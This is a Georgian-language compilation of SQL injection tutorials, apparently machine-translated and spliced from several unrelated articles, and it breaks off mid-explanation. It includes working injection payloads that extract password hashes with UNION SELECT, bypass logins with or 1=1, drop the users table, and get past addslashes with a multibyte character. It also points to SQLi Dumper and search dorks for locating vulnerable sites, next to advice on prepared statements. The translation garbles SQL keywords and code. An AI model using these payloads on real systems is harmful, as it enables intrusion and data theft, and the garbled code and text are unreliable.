ადმინისტრაციული პანელების მოსაძიებლად გამოიყენეთ "ადმინისტრატორის გვერდი" ჩანართი. ის ავტომატურად ეძებს პრივილეგირებული მომხმარებლების სისტემურ ჩანაწერებს სპეციალური შაბლონების გამოყენებით. მათგან მხოლოდ პაროლის ჰეშის მიღება შეგიძლიათ. მაგრამ ის ასევე ხელმისაწვდომია პროგრამის ინსტრუმენტებში.

ყველა დაუცველობის აღმოჩენისა და საჭირო მოთხოვნების შეყვანის შემდეგ, პროგრამა საშუალებას მოგცემთ ატვირთოთ თქვენი ფაილი სერვერზე ან, პირიქით, გადმოწეროთ იქიდან.

SQLi Dumper v.7

ეს პროგრამა არის ადვილად გამოსაყენებელი ინსტრუმენტი SQL-ში დაუცველობის აღმოსაჩენად და დასანერგად. გაერო ამას აწარმოებს ე.წ. მათი სიები შეგიძლიათ იხილოთ ინტერნეტში. SQL ინექციის საკვანძო სიტყვები არის სპეციალური საძიებო შეკითხვის ნიმუშები. მათი დახმარებით თქვენ პოტენციურად შეგიძლიათ იპოვოთ ისინი ნებისმიერი საძიებო სისტემის საშუალებით.

სასწავლო ინსტრუმენტები

საიტს itecgames.com აქვს ინსტრუმენტების სპეციალური ნაკრები, რომელიც საშუალებას გაძლევთ გამოიყენოთ მაგალითები იმის საჩვენებლად, თუ როგორ უნდა გააკეთოთ SQL ინექცია და შეამოწმოთ იგი. იმისათვის, რომ გამოიყენოთ იგი, თქვენ უნდა ჩამოტვირთოთ და დააინსტალიროთ იგი. არქივი შეიცავს ფაილების კომპლექტს, რომელიც წარმოადგენს საიტის სტრუქტურას. მის დასაინსტალირებლად დაგჭირდებათ სისტემაში ხელმისაწვდომი Apache, MySQL და PHP ვებ სერვერების ნაკრები.

არქივის ვებ სერვერის საქაღალდეში გახსნის შემდეგ, თქვენ უნდა გადახვიდეთ ამ პროგრამული პროდუქტის ინსტალაციის დროს შეყვანილ მისამართზე. გაიხსნება მომხმარებლის რეგისტრაციის გვერდი. აქ თქვენ უნდა შეიყვანოთ თქვენი მონაცემები და დააწკაპუნოთ "შექმნა". მომხმარებლის ახალ ფანჯარაში გადაყვანის შემდეგ, სისტემა შესთავაზებს ტესტირების ერთ-ერთი ვარიანტის არჩევას. მათ შორის არის როგორც აღწერილი ინექციები, ასევე მრავალი სხვა სატესტო დავალება.

ღირს SQL ინექციის მაგალითის ნახვა, როგორიცაა GET/Search. აქ თქვენ უნდა აირჩიოთ ის და დააწკაპუნეთ "Hack". მომხმარებელს წარედგინება საძიებო ზოლი და გარკვეული საიტის იმიტაცია ფილმებით. შეგიძლიათ ფილმების გავლა დიდი ხნის განმავლობაში. მაგრამ არის მხოლოდ 10. მაგალითად, შეგიძლიათ სცადოთ Iron Man-ში შესვლა. ნაჩვენები იქნება ფილმი, რაც ნიშნავს, რომ საიტი მუშაობს და მასში არის ცხრილები. ახლა ჩვენ უნდა შევამოწმოთ, ფილტრავს თუ არა სკრიპტი სპეციალურ სიმბოლოებს, კერძოდ ციტატას. ამისათვის თქვენ უნდა დაამატოთ "" მისამართების ზოლში. უფრო მეტიც, ეს უნდა გაკეთდეს ფილმის სახელის შემდეგ. საიტზე გამოჩნდება შეცდომა შეცდომა: თქვენ გაქვთ შეცდომა თქვენს SQL სინტაქსში; შეამოწმეთ სახელმძღვანელო, რომელიც შეესაბამება თქვენი MySQL სერვერის ვერსიაში, რათა გამოიყენოს სწორი სინტაქსი "%"-ის მახლობლად 1-ლ სტრიქონზე, რაც მიუთითებს, რომ სიმბოლოები ჯერ კიდევ არასწორად მუშავდება. ეს ნიშნავს, რომ შეგიძლიათ სცადოთ თქვენი მოთხოვნის შეცვლა. მაგრამ ჯერ უნდა გამოთვალოთ ველების რაოდენობა. ამისათვის გამოიყენეთ order by, რომელიც შეყვანილია ციტატის შემდეგ: http://testsites.com/sqli_1.php?title=Iron+Man" ბრძანება 2 --&action=search-ით.

ეს ბრძანება უბრალოდ აჩვენებს ინფორმაციას ფილმის შესახებ, ანუ ველების რაოდენობა 2-ზე მეტია. ორმაგი დეფისი ეუბნება სერვერს, რომ სხვა მოთხოვნები უნდა გაუქმდეს. ახლა თქვენ უნდა გაიმეოროთ, ჩაანაცვლოთ უფრო დიდი მნიშვნელობები, სანამ შეცდომა არ გამოჩნდება. შედეგად, გამოდის, რომ იქნება 7 ველი.

ახლა დროა მივიღოთ რაიმე სასარგებლო მონაცემთა ბაზიდან. თქვენ მოგიწევთ ოდნავ შეცვალოთ მოთხოვნა მისამართების ზოლში და მიიყვანოთ იგი ამ ფორმაში: http://testsites.com/sqli_1.php?title=Iron+Man" კავშირი აირჩიეთ 1, database(),user(),4 ,პაროლი,6, 7 მომხმარებლებისგან --&action=search. მისი შესრულების შედეგად გამოჩნდება ხაზები პაროლის ჰეშებით, რომლებიც ადვილად გარდაიქმნება გასაგებ სიმბოლოებად ერთ-ერთი ონლაინ სერვისის გამოყენებით. და ცოტა მაგიით და შესვლის ველის სახელის არჩევით, შეგიძლიათ მიიღოთ წვდომა სხვის ჩანაწერზე, მაგალითად, საიტის ადმინისტრატორზე.

პროდუქტს აქვს სხვადასხვა ტიპის ინექციის ტონა პრაქტიკაში. უნდა გვახსოვდეს, რომ ამ უნარების გამოყენება ონლაინ ან რეალურ საიტებზე შეიძლება იყოს სისხლის სამართლის პასუხისმგებლობა.

ინექციები და PHP

როგორც წესი, ეს არის PHP კოდი, რომელიც პასუხისმგებელია მომხმარებლისგან შემოსული მოთხოვნების აუცილებელ დამუშავებაზე. ამიტომ, სწორედ ამ დონეზე გჭირდებათ PHP-ში SQL ინექციებისგან დაცვა.

  • მონაცემთა ბაზაში შენახვამდე ყოველთვის უნდა დამუშავდეს. ამის მიღწევა შესაძლებელია არსებული გამონათქვამების გამოყენებით ან მოთხოვნების ხელით ორგანიზებით. აქაც გასათვალისწინებელია, რომ რიცხვითი მნიშვნელობები გარდაიქმნება საჭირო ტიპად;
  • მოერიდეთ მოთხოვნაში სხვადასხვა საკონტროლო სტრუქტურების გამოჩენას.

ახლა ცოტა რამ MySQL-ში მოთხოვნების შედგენის წესების შესახებ SQL ინექციებისგან დასაცავად.

ნებისმიერი შეკითხვის გამოხატვის წერისას მნიშვნელოვანია მონაცემების გამოყოფა SQL საკვანძო სიტყვებისგან.

  • აირჩიეთ * ცხრილიდან WHERE სახელი = Zerg.

ამ დიზაინში სისტემამ შეიძლება იფიქროს, რომ Zerg არის ველის სახელი, ამიტომ ის უნდა იყოს ჩასმული ბრჭყალებში.

  • SELECT * FROM ცხრილიდან WHERE name = "Zerg".

თუმცა, არის სიტუაციები, როდესაც მნიშვნელობა თავად შეიცავს ციტატებს.

  • SELECT * FROM ცხრილიდან WHERE name = "Ivory Coast".

აქ მხოლოდ cat-d-ის ნაწილი დამუშავდება, დანარჩენი კი ბრძანებად შეიძლება აღვიქვათ, რაც, რა თქმა უნდა, არ არსებობს. ამიტომ მოხდება შეცდომა. ეს ნიშნავს, რომ ამ ტიპის მონაცემების შემოწმებაა საჭირო. ამისათვის გამოიყენეთ უკანა ხაზი - \.

  • SELECT * FROM ცხრილიდან WHERE name = "Ivory Coast".

ყოველივე ზემოთქმული ეხება სიმებს. თუ მოქმედება ხდება რიცხვით, მაშინ მას არ სჭირდება ციტატები ან დახრილობა. თუმცა, ისინი უნდა აიძულონ გადაიყვანონ საჭირო მონაცემთა ტიპზე.

არსებობს რეკომენდაცია, რომ ველის სახელი უნდა იყოს ჩასმული უკანა ციტატაში. ეს სიმბოლო მდებარეობს კლავიატურის მარცხენა მხარეს, ტილდის "~" ნიშანთან ერთად. ეს აუცილებელია იმისათვის, რომ MySQL-მა ზუსტად განასხვავოს ველის სახელი მისი საკვანძო სიტყვისგან.

დინამიური მუშაობა მონაცემებთან

ძალიან ხშირად, დინამიურად გენერირებული მოთხოვნები გამოიყენება მონაცემთა ბაზიდან ნებისმიერი ინფორმაციის მისაღებად. Მაგალითად:

  • SELECT * FROM ცხრილიდან WHERE ნომერი = "$number".

აქ ცვლადი $number გადაეცემა ველის მნიშვნელობის განმარტებას. რა მოხდება, თუ კოტ-დ'ივუარი მოხვდება მასში? შეცდომა.

რა თქმა უნდა, ამ პრობლემის თავიდან აცილება შეგიძლიათ პარამეტრებში „ჯადოსნური ციტატების“ ჩართვით. მაგრამ ახლა მონაცემების სკრინინგი მოხდება, სადაც საჭიროა და სადაც არ არის საჭირო. გარდა ამისა, თუ კოდი ხელით არის დაწერილი, მაშინ თქვენ შეგიძლიათ დახარჯოთ ცოტა მეტი დრო, რათა თავად შექმნათ ჰაკ-რეზისტენტული სისტემა.

ხაზის დასამატებლად, შეგიძლიათ გამოიყენოთ mysql_real_escape_string.

$number=mysql_real_escape_string($number);

$year=mysql_real_escape_string($year);

$query="INSERT INTO table (number,year, class) VALUES ("$number","$year",11)".

მიუხედავად იმისა, რომ კოდი გაიზარდა მოცულობაში, ის მაინც პოტენციურად ბევრად უფრო უსაფრთხოდ იმუშავებს.

პლასჰოლდერები

პლასჰოლდერები უნიკალური მარკერებია, რომლებითაც სისტემამ იცის, რომ ამ ადგილას სპეციალური ფუნქცია უნდა იყოს ჩასმული. Მაგალითად:

$sate = $mysqli->prepare("SELECT District FROM Number WHERE Name=?");

$sate->bind_param("s", $number);

$sate->execute();

კოდის ეს განყოფილება ამზადებს მოთხოვნის შაბლონს, შემდეგ აკავშირებს რიცხვის ცვლადს და ახორციელებს მას. ეს მიდგომა საშუალებას გაძლევთ განასხვავოთ მოთხოვნის დამუშავება და მისი განხორციელება. ამ გზით, თქვენ შეგიძლიათ დაიცვათ თავი SQL მოთხოვნების მავნე კოდის ინექციის გამოყენებისგან.

რა შეუძლია გააკეთოს თავდამსხმელმა?

სისტემის დაცვა არის ძალიან მნიშვნელოვანი ფაქტორი, რომლის უგულებელყოფა არ შეიძლება. რა თქმა უნდა, მარტივი სავიზიტო ვებსაიტის აღდგენა უფრო ადვილი იქნება. რა მოხდება, თუ ეს არის დიდი პორტალი, სერვისი, ფორუმი? რა შედეგები შეიძლება მოჰყვეს თუ არ ფიქრობთ უსაფრთხოებაზე?

პირველ რიგში, ჰაკერს შეუძლია დაარღვიოს მონაცემთა ბაზის მთლიანობა და მთლიანად წაშალოს იგი. და თუ საიტის ადმინისტრატორმა ან ჰოსტერმა არ გააკეთა სარეზერვო ასლი, მაშინ რთული იქნება. გარდა ამისა, თავდამსხმელს, რომელმაც გატეხა ერთი საიტი, შეუძლია გადავიდეს იმავე სერვერზე განთავსებულ სხვაზე.

შემდეგი მოდის ვიზიტორთა პირადი მონაცემების ქურდობა. როგორ გამოვიყენოთ ისინი შემოიფარგლება მხოლოდ ჰაკერების ფანტაზიით. მაგრამ ნებისმიერ შემთხვევაში, შედეგები არ იქნება ძალიან სასიამოვნო. მით უმეტეს, თუ ის შეიცავდა ფინანსურ ინფორმაციას.

თავდამსხმელს ასევე შეუძლია მონაცემთა ბაზის გაჟონვა თავისთვის და შემდეგ გამოსძალოს ფული მისი დაბრუნებისთვის.

მომხმარებელთა დეზინფორმაციას იმ პირის სახელით, რომელიც არ არის ისინი, ასევე შეიძლება ჰქონდეს უარყოფითი შედეგები, რადგან შესაძლებელია თაღლითობის შემთხვევები.

დასკვნა

ამ სტატიაში მოცემული ყველა ინფორმაცია მოცემულია მხოლოდ საინფორმაციო მიზნებისთვის. თქვენ უნდა გამოიყენოთ იგი მხოლოდ საკუთარი პროექტების შესამოწმებლად, დაუცველობის იდენტიფიცირებისა და მათი აღმოფხვრისას.

SQL ინექციის მეთოდოლოგიის უფრო სიღრმისეული შესწავლისთვის, თქვენ უნდა დაიწყოთ SQL ენის შესაძლებლობებისა და მახასიათებლების რეალურად შესწავლით. როგორ არის შედგენილი მოთხოვნები, საკვანძო სიტყვები, მონაცემთა ტიპები და ამ ყველაფრის გამოყენება.

თქვენ ასევე არ შეგიძლიათ გააკეთოთ იმის გაგება, თუ როგორ მუშაობს PHP ფუნქციები და HTML ელემენტები. ინექციების გამოყენების მთავარი დაუცველი წერტილებია მისამართის ზოლი, ძებნა და სხვადასხვა ველები. PHP ფუნქციების, მათი განხორციელების და მათი შესაძლებლობების შესწავლა დაგეხმარებათ გაიგოთ, თუ როგორ შეგიძლიათ თავიდან აიცილოთ შეცდომები.

მრავალი მზა პროგრამული ხელსაწყოს არსებობა საშუალებას გაძლევთ ჩაატაროთ საიტის სიღრმისეული ანალიზი ცნობილი დაუცველობისთვის. ერთ-ერთი ყველაზე პოპულარული პროდუქტია kali linux. ეს არის Linux-ზე დაფუძნებული ოპერაციული სისტემის სურათი, რომელიც შეიცავს უამრავ კომუნალურ და პროგრამებს, რომლებსაც შეუძლიათ განახორციელონ საიტის ყოვლისმომცველი ანალიზი სიძლიერისთვის.

რატომ უნდა იცოდეთ როგორ გატეხოთ ვებსაიტი? ყველაფერი ძალიან მარტივია - ეს აუცილებელია იმისთვის, რომ გქონდეთ წარმოდგენა თქვენი პროექტის ან ვებსაიტის პოტენციურად დაუცველ სფეროებზე. მით უმეტეს, თუ ეს არის ონლაინ მაღაზია, რომელსაც აქვს ონლაინ გადახდის შესაძლებლობა, სადაც მომხმარებლის გადახდის მონაცემები შეიძლება იყოს კომპრომეტირებული თავდამსხმელის მიერ.

პროფესიული კვლევისთვის ინფორმაციული უსაფრთხოების სამსახურებს შეეძლებათ საიტის შემოწმება სხვადასხვა კრიტერიუმებისა და სიღრმის მიხედვით. დაწყებული მარტივი HTML ინექციიდან სოციალურ ინჟინერიასთან და ფიშინგამდე.

წარმატებებს გისურვებთ მის დასრულებაში. თქვენი გავლის შედეგები მოგვიანებით გამოქვეყნდება (მიჰყევით ახალ ამბებს სოციალურ ქსელებში) და ყველა ვინც გაიარა, ასევე გაეგზავნება მოიწვიესაიტზე დასარეგისტრირებლად.

მოიწონეთ, გააზიარეთ მეგობრებთან და კოლეგებთან, ხელახლა გამოაქვეყნეთ სოციალურ ქსელებში.

ყველა პროგრამისტს წაკითხული აქვს ან სულ მცირე სმენია ვებსაიტის უსაფრთხოების გატეხვის მეთოდების შესახებ. ან თუნდაც შეექმნა ეს პრობლემა. მეორეს მხრივ, საიტის გატეხვის მსურველთა ფანტაზია გაუთავებელია, ამიტომ ყველა ბლოკი კარგად უნდა იყოს დაცული. ამიტომ მსურს დავიწყო მოკლე სტატიების სერია, რომელიც შემოგთავაზებთ ვებსაიტების გატეხვის ძირითად მეთოდებსა და ტექნიკას.

პირველ სტატიაში მინდა აღვწერო და განვმარტო საიტის ერთ-ერთი ყველაზე დაუცველი ნაწილის - ფორმების გატეხვის რამდენიმე გავრცელებული მეთოდი. მე დეტალურად განვიხილავ, თუ როგორ გამოვიყენოთ ეს ტექნიკა და როგორ ავიცილოთ თავიდან თავდასხმები, ასევე გავაშუქებ უსაფრთხოების ტესტირებას.

SQL ინექცია

SQl ინექცია არის ტექნიკა, სადაც თავდამსხმელი შეაქვს SQL ბრძანებებს ვებ გვერდზე შეყვანის ველში. ეს გამოსავალი შეიძლება იყოს ნებისმიერი - ტექსტური ველი ფორმაში, _GET და _POST პარამეტრები, ქუქიები და ა.შ. ეს მეთოდი ძალიან ეფექტური იყო PHP სამყაროში ფრეიმვეირების გამოჩენამდე. მაგრამ ეს ჰაკი მაინც შეიძლება იყოს საშიში, თუ არ იყენებთ ORM-ს ან მონაცემთა ობიექტის სხვა გაფართოებებს. რატომ? SQL მოთხოვნაზე პარამეტრების გადაცემის გზების გამო.

"ბრმა" ინექციები

დავიწყოთ SQL განცხადების კლასიკური მაგალითით, რომელიც აბრუნებს მომხმარებელს მისი შესვლისა და პაროლის ჰეშის მიხედვით (შესვლის გვერდი)

მაგალითი 1

mysql_query("SELECT id, შესვლა მომხმარებლისგან WHERE შესვლა = ? და პაროლი = hash(?)");

გამონათქვამში კითხვის ნიშნებს ვაყენებ ამ ამოხსნის სხვადასხვა ვარიაციის გამო. პირველი ვარიანტი, ჩემი აზრით, ყველაზე დაუცველია:

მაგალითი 1a

Mysql_query("SELECT id, შესვლა მომხმარებლებისგან WHERE login = "" . $login . "" და პაროლი = hash("" . $password . "")");

ამ შემთხვევაში, კოდი არ ამოწმებს არასწორი მონაცემების შეყვანას. მნიშვნელობები გადაეცემა პირდაპირ შეყვანის ფორმიდან SQL მოთხოვნაზე. საუკეთესო შემთხვევაში, მომხმარებელი აქ შეიყვანს მის სახელს და პაროლს. რა არის ყველაზე უარესი სცენარი? ვცადოთ ამ ფორმის გატეხვა. ეს შეიძლება გაკეთდეს "მომზადებული" მონაცემების გადაცემით. შევეცადოთ შეხვიდეთ როგორც პირველი მომხმარებელი მონაცემთა ბაზიდან და უმეტეს შემთხვევაში ეს არის ადმინისტრატორის ანგარიში. ამისათვის ჩვენ გადავცემთ სპეციალურ სტრიქონს შესვლის ნაცვლად:

"ან 1=1; --

პირველი ციტატა ასევე შეიძლება იყოს ერთი ციტატა, ამიტომ ჰაკერების ერთი მცდელობა შეიძლება არ იყოს საკმარისი. დასასრულს არის მძიმით და ორი დეფისი ისე, რომ ყველაფერი, რაც შემდეგ მოდის, გადაიქცევა კომენტარში. შედეგად, შემდეგი SQL მოთხოვნა შესრულდება:

აირჩიეთ ID, შედით მომხმარებლისგან WHERE შესვლა = “;” ან 1=1 ლიმიტი 0.1; - და პაროლი = ჰაში (";ზოგიერთი პაროლი")

ის დააბრუნებს პირველ მომხმარებელს მონაცემთა ბაზიდან და შესაძლოა შევიდეს აპლიკაციაში, როგორც ეს მომხმარებელი. კარგი ნაბიჯი იქნება LIMIT-ის დამატება, რათა შეხვიდეთ როგორც თითოეული ინდივიდუალური მომხმარებელი. ეს არის ერთადერთი, რაც საჭიროა თითოეული მნიშვნელობის გასავლელად.

უფრო სერიოზული გზები

წინა მაგალითში ყველაფერი არც ისე საშინელია. ადმინისტრატორის მართვის პანელში ოფციები ყოველთვის შეზღუდულია და საიტის რეალურად გატეხვას დიდი შრომა დასჭირდება. მაგრამ SQL ინექციის საშუალებით შეტევამ შეიძლება გამოიწვიოს სისტემის გაცილებით დიდი დაზიანება. იფიქრეთ იმაზე, თუ რამდენი აპლიკაცია იქმნება ძირითადი ცხრილის "მომხმარებლებთან" და რა მოხდება, თუ თავდამსხმელმა შეიყვანს ასეთი კოდი დაუცველ ფორმაში:

ჩემი საყვარელი შესვლა"; DROP TABLE მომხმარებლები; --

"მომხმარებლების" ცხრილი წაიშლება. ეს არის ერთ-ერთი მიზეზი, რომ უფრო ხშირად გააკეთოთ მონაცემთა ბაზის სარეზერვო ასლები.

_GET პარამეტრები

ფორმის საშუალებით შევსებული ყველა პარამეტრი გადაეცემა სერვერს ორიდან ერთ-ერთი მეთოდით - GET ან POST. GET-ით გადაცემული ყველაზე გავრცელებული პარამეტრი არის id. ეს არის ერთ-ერთი ყველაზე დაუცველი ადგილი თავდასხმებისთვის და არ აქვს მნიშვნელობა რა ტიპის URL-ს იყენებთ - ` http://example.com/ მომხმარებლები/?id=1`, ან ` http://example.com/ მომხმარებლები/1`, ან ` http://....../.../ პოსტი/35 `.

რა მოხდება, თუ URL-ში ჩავსვამთ შემდეგ კოდს?

Http://example.com/users/?id=1 AND 1=0 UNION SELECT 1,concat(შესვლა,პაროლი), 3,4,5,6 მომხმარებლებისგან WHERE id =1; --

ალბათ, ასეთი მოთხოვნა დააბრუნებს მომხმარებლის ლოგინს და... მისი პაროლის ჰეშს. მოთხოვნის პირველი ნაწილი `AND 1=0` აქცევს მის წინ უსწრებს მცდარს, ამიტომ ჩანაწერები არ მიიღება. ხოლო მოთხოვნის მეორე ნაწილი დააბრუნებს მონაცემებს მომზადებული მონაცემების სახით. და რადგან პირველი პარამეტრი არის id, შემდეგი იქნება მომხმარებლის შესვლა და მისი პაროლის ჰეში და რამდენიმე სხვა პარამეტრი. არსებობს მრავალი პროგრამა, რომელიც იყენებს უხეში ძალის გამოყენებას პაროლის გაშიფვრისთვის, როგორიც მაგალითში იყო. და რადგან მომხმარებელს შეუძლია გამოიყენოს ერთი და იგივე პაროლი სხვადასხვა სერვისებისთვის, შესაძლებელია მათზე წვდომა.

და აი, რა არის საინტერესო: სრულიად შეუძლებელია ამ ტიპის თავდასხმისგან დაცვა ისეთი მეთოდების გამოყენებით, როგორიცაა `mysql_real_escape_string`, `addslashes` და ა.შ. დ. ძირითადად, ასეთი შეტევის თავიდან აცილების გზა არ არსებობს, ასე რომ, თუ პარამეტრები გადაეცემა ასე:

"SELECT id, შესვლა, ელფოსტა, param1 FROM users WHERE id = " . addslashes($_GET["id"]);"

პრობლემები არ გაქრება.

სიმბოლოების გაქცევა სტრიქონში

როცა პროგრამირებაში ახალი ვიყავი, მიჭირდა კოდირებით მუშაობა. ვერ გავიგე რა განსხვავებაა მათ შორის, რატომ გამოვიყენოთ UTF-8 როცა გჭირდებათ UTF-16, რატომ აყენებს მონაცემთა ბაზა ყოველთვის დაშიფვრას latin1-ზე. როდესაც საბოლოოდ დავიწყე ამ ყველაფრის გაგება, აღმოვაჩინე, რომ ნაკლები პრობლემა იქნებოდა, თუ ყველაფერს კოდირების ერთ სტანდარტში შევინარჩუნებდი. ამ ყველაფრის დალაგებისას ასევე შევამჩნიე უსაფრთხოების საკითხები, რომლებიც წარმოიქმნება ერთი კოდიდან მეორეზე გადაყვანისას.

წინა მაგალითების უმეტესობაში აღწერილი პრობლემების თავიდან აცილება შესაძლებელია შეკითხვებში ცალკეული ციტატების გამოყენებით. თუ იყენებთ addslashes()-ს, SQL საინექციო შეტევები, რომლებიც ეყრდნობიან ერთ ბრჭყალებს, რომლებიც აცილებულია უკანა ხაზით, წარუმატებელი იქნება. მაგრამ ასეთი შეტევა შეიძლება იმუშაოს, თუ თქვენ უბრალოდ ჩაანაცვლებთ სიმბოლოს კოდით 0xbf27, addslashes() გარდაქმნის მას სიმბოლოდ კოდით 0xbf5c27 - და ეს არის სრულიად მართებული ერთი ციტატის სიმბოლო. სხვა სიტყვებით რომ ვთქვათ, `뼧` გაივლის addslashes() და შემდეგ MySQL რუკების გარდაქმნას იგი ორ სიმბოლოდ 0xbf (¿) და 0x27 (‘).

"SELECT * FROM users WHERE login = ""; . addslashes($_GET["login"]) . ";"";

ამ მაგალითის გატეხვა შესაძლებელია 뼧 ან 1=1; -- ფორმაში შესვლის ველში. SQL ძრავა გამოიმუშავებს საბოლოო მოთხოვნას შემდეგნაირად:

აირჩიეთ * მომხმარებლებისგან WHERE შესვლა = "¿" ან 1=1; --

და ის დააბრუნებს პირველ მომხმარებელს მონაცემთა ბაზიდან.

დაცვა

როგორ დავიცვათ აპლიკაცია? არსებობს უამრავი მეთოდი, რომელთა გამოყენება არ გახდის აპლიკაციას სრულიად დაუცველს, მაგრამ მაინც გაზრდის მის უსაფრთხოებას.

mysql_real_escape_string-ის გამოყენებით

addslashes() ფუნქცია არასანდოა, რადგან ის არ იძლევა მრავალი ჰაკერული შემთხვევის საშუალებას. mysql_real_escape_string-ს ასეთი პრობლემები არ აქვს

MySQLi-ს გამოყენებით

ამ MySQL გაფართოებას შეუძლია იმუშაოს დაკავშირებულ პარამეტრებთან:

$stmt = $db->prepare("update uets set parameter = ? where id = ?"); $stmt->bind_param("si", $name, $id); $stmt->execute();

PDO გამოყენებით

პარამეტრების ჩანაცვლების გრძელი გზა:

$dbh = new PDO ("mysql:dbname=testdb;host=127.0.0.1", $user, $password); $stmt = $dbh->prepare("INSERT INTO Registry (სახელი, მნიშვნელობა) VALUES (:name, :value)"); $stmt->bindParam(":name", $name); $stmt->bindParam(":value", $value); // ერთი მწკრივის ჩასმა $name = "ერთი"; $value = 1; $stmt->execute();

მოკლე გზა:

$dbh = new PDO ("mysql:dbname=testdb;host=127.0.0.1", $user, $password); $stmt = $dbh->prepare("UPDATE people SET name = :new_name WHERE id = :id"); $stmt->შესრულება(მასივი("new_name" => $name, "id" => $id));

ORM-ის გამოყენება

გამოიყენეთ ORM და PDO და bind (გამოიყენეთ bind) პარამეტრები. მოერიდეთ SQL თქვენს კოდში, თუ ხედავთ SQL თქვენს კოდში, მაშინ მასში რაღაც არასწორია.

ORM იზრუნებს უსაფრთხოებაზე ბოსტნეულში კოდისა და პარამეტრის ვალიდაციაში.

დასკვნები

ამ სერიის მიზანია არა ვებგვერდების გატეხვის სრული სახელმძღვანელოს მიწოდება, არამედ აპლიკაციის უსაფრთხოების უზრუნველყოფა და ნებისმიერი წყაროდან თავდასხმების თავიდან აცილება. მე შევეცადე დამეწერა ეს სტატია არა მხოლოდ პროგრამისტებისთვის - მათ უნდა იცოდნენ კოდში არსებული ნებისმიერი საფრთხე და იცოდნენ როგორ აღკვეთონ ისინი, არამედ ხარისხიანი ინჟინრებისთვისაც - რადგან მათი ამოცანაა თვალყური ადევნონ და შეატყობინონ ასეთ საკითხებს.

SQL ინექციების არსი

თქვენ ალბათ უკვე გსმენიათ ხუმრობა ინტერნეტიდან: ” რატომ არის ასე ყველა ხატვის გაკვეთილზე: მაგალითად, გაკვეთილი ბუს ხატვის შესახებ. პირველ რიგში, ბუს თვალს დეტალურად ვხატავთ ნახევარი საათის განმავლობაში. შემდეგ კი - ერთხელ - ხუთ წუთში - დავხატავთ ბუს დანარჩენ ნაწილს».

ამის შესახებ სურათიც კი არსებობს:

SQL ინექციებზე უამრავი მასალაა: სტატიები, წიგნები, ვიდეო კურსები (ფასიანი და უფასო). თუმცა, ბევრი მათგანი არ მატებს გაგებას ამ საკითხში. განსაკუთრებით თუ დამწყები ხართ. კარგად მახსოვს ჩემი გრძნობები: აქ არის წრე, აქ არის დანარჩენი ბუ...

ამ ჩანაწერის მიზანია ბუზე თვალის მიდევნება ნორმალური, მარტივი ახსნა-განმარტების მისაცემად, რა არის SQL ინექციები, რა არის მათი არსი, რამდენად საშიშია და რატომ.

ექსპერიმენტებისთვის ჩვენ გვექნება ძალიან მარტივი სკრიპტი, რომელიც დაუცველია SQL ინექციისთვის:

Bobruisk-ის რეგიონალურ ბიბლიოთეკაში შესასვლელად, შეიყვანეთ თქვენი რწმუნებათა სიგელები:

შეიყვანეთ თქვენი სახელი

Შეიყვანეთ თქვენი პაროლი


შეკითხვა ("SET NAMES UTF8"); $mysqli->query ("SET CHARACTER SET UTF8"); $mysqli->query ("SET character_set_client = UTF8"); $mysqli->query ("SET character_set_connection = UTF8"); $mysqli->query ("SET character_set_results = UTF8"); ) $name = filter_input (INPUT_GET, "სახელი"); $პაროლი = filter_input(INPUT_GET, "პაროლი"); if ($result = $mysqli->query("SELECT * FROM `members` WHERE name = "$name" AND პაროლი = $პაროლი")) ( while ($obj = $result->fetch_object()) (echo "

Თქვენი სახელი:$obj->სახელი

თქვენი სტატუსი:$obj->სტატუსს

თქვენთვის ხელმისაწვდომი წიგნები:$obj->წიგნები


"; ) ) else ( printf("შეცდომა: %sn", $mysqli->error); ) $mysqli->close(); ?>

ბევრად მეტს გაიგებ თუ ჩემთან ყველაფერს გააკეთებ. ასე რომ, აქ არის. ის შეიცავს ორ ფაილს: index.phpდა db_library.sql. განათავსეთ index.php ფაილი სერვერზე სადმე - ეს არის ჩვენი დაუცველი სკრიპტი. და db_library.sql ფაილი უნდა იყოს იმპორტირებული, მაგალითად, phpMyAdmin-ის გამოყენებით.

index.php ფაილში მონაცემთა ბაზის მომხმარებლის სახელი დაყენებულია root და პაროლი ცარიელია. თქვენ შეგიძლიათ შეიყვანოთ თქვენი მონაცემები ხაზის რედაქტირებით:

$mysqli = new mysqli("localhost", "root", "", "db_library");

ლეგენდის თანახმად, ეს არის Bobruisk რეგიონალური ბიბლიოთეკის ონლაინ ვერსიაში შესვლის ფორმა. ჩვენ უკვე გადაეცათ რწმუნებათა სიგელები: მომხმარებლის სახელი - დემო, პაროლი - 111.

მოდით შევიტანოთ ისინი და ვნახოთ:

ჩვენი რწმუნებათა სიგელები მიღებულია, ჩვენი სახელი, სტატუსი და ჩვენთვის ხელმისაწვდომი წიგნები ნაჩვენებია ეკრანებზე. შეგიძლიათ სცადოთ ნებისმიერი სხვა მონაცემით (თუ შეცვლით თქვენს სახელს ან პაროლს), ჩვენ ვერ შევძლებთ შესვლას და საკითხავად ხელმისაწვდომი წიგნების ნახვას. ჩვენ ასევე არ გვაქვს საშუალება გავიგოთ, რომელი წიგნებია ხელმისაწვდომი სხვებისთვის, რადგან არ ვიცით მათი მომხმარებლის სახელი და პაროლი.

მოდით შევხედოთ წყაროს კოდს, რათა გავიგოთ, როგორ მოხდა მონაცემთა ბაზის მოთხოვნა:
სიტყვა აირჩიეთ SQL შეკითხვაში გვიჩვენებს, თუ რა მონაცემების მიღებაა საჭირო. მაგალითად, შეგიძლიათ მიუთითოთ SELECT სახელი, ან SELECT სახელი, პაროლი. მაშინ პირველ შემთხვევაში ცხრილიდან მხოლოდ სახელს მიიღებდნენ, მეორეში კი მხოლოდ სახელს და პაროლს. ვარსკვლავი ამბობს, რომ თქვენ უნდა მიიღოთ ყველა მნიშვნელობა. იმათ. SELECT * - ეს ნიშნავს ყველა მნიშვნელობის მიღებას.

FROMგვეუბნება, საიდან უნდა მიიღოთ ისინი. FROM-ს მოჰყვება ცხრილის სახელი, ანუ FROM "წევრების" ჩანაწერში ნათქვამია მიიღეთ "წევრების" ცხრილიდან.

Უფრო სადთუ თქვენ შესწავლილი გაქვთ რაიმე პროგრამირების ენა, მაშინ ეს სიტყვა ყველაზე მეტად წააგავს "თუ". და შემდეგ არის პირობები, ეს პირობები შეიძლება იყოს ჭეშმარიტი (1) ან მცდარი (0). ჩვენს შემთხვევაში

(სახელი = '$name') და (პაროლი ='$პაროლი')

